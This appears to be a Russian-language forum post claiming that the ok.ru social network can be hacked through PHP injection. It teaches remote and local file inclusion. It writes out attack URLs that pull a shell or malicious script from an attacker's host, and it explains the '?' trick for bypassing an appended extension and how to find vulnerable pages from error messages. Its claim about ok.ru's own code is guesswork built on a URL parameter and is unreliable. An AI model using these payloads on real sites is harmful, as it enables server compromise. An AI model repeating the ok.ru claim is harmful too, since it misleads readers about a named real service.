Взлом ok.ru

Взлом ok.ru

Бухта

Одноклаасники все же взламываются с помощью php инъекции, как я и думал.

Бухта


Не давно найдена уязвимость в ок.ру, и я расскажу вам как использовать эту уязвимость.

Для начало нам требуется вывести эту уязвимость.

Давайте разберем её.

Для начало выбираем любое фото или надпись на стенке , и пишем любой комментарий, обновляем страницу, нажмаем кнопку обновить и ищем в ссылке page=1

1 - это отоброжаемая страница.

Вот мы и вывели её!

Теперь мы видим что ок использует комманду page=1 для отображения запрашиваемой страницы.

Код будет выглядить так:

PHP:

<?php 

  $file =$_GET['page']; //Отображаемая страница 

  include($file); 

?>

Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:

PHP:

http://www.ok.ru/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?

Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:

PHP:

<?php 

  $file ="http://www.атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page']; 

  include($file); //$file - это внедренный злоумышленником скрипт 

?>

Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.


Подробнее:

И так, почему же злоумышленник смог провести PHP-инъекцию?

Все потому что функция include()позволяет запускать удаленные файлы.


Почему в примере был указан скрипт с расширением *.txt, а не *.php?

Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.


Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функцииinclude() на целевом сервере.

Пример:

PHP:

<?php 

  $file =$_GET['page']; 

  include($file .".php"); 

?>

Этот скрипт добавляет расширение *.phpк чему либо, вызываемомому коммандойinclude().

Т.е.

PHP:

http://www.атакующий_серв.com/вредоносный_скрипт.txt

Превращается в

PHP:

http://www.атакующий_серв.com/вредоносный_скрипт.txt.php

С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)

По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:

PHP:

http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php

Но он остается исполняемым.


Проведение PHP-инъекций через уязвимость функции include().​



RFI - удаленный инклюд при PHP-инъекции.​


Возможность проведения RFI - довольно частая бага в двигах.

Найти ее можно следущим образом:

Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:

PHP:

/index.php?page=main

Подставляем вместо main любое бредовое значение, например upyachka

PHP:

/index.php?page=upyachka

В ответ получим ошибку:

PHP:

Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3 


Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3 


Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3

Это показывает нам на то, что инклуд осуществим.

Пробуем подставить вместо upyachkaсайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)

PHP:

http://www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell

Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.


LFI - локальный инклюд при PHP-инъекции.​


Представим, что мы набрели на тот же уязвимый сайт

PHP:

/index.php?file=main

С кодом

PHP:

<?  

..  

Include ("folder/$page.htm");  

…  

?>

Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:

PHP:

/index.php?page=../index.php

В следующем случае код выглядит вот таким образом:

PHP:

<?  

..  

Include ("$dir1/folder/page.php");  

…  

?>

В этом случае можно прописать путь к шеллу следующим образом:

Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:

PHP:

http://www.сайт_злоумышленника.com/folder/shell.php

Инъекция в таком случае будет выглядить так:

PHP:

index.php?dir1=http://www.сайт_злоумышленника.com/

Если вы не знаете как написать вредоностный скрипт, то Гугл в помощь ;)


Report Page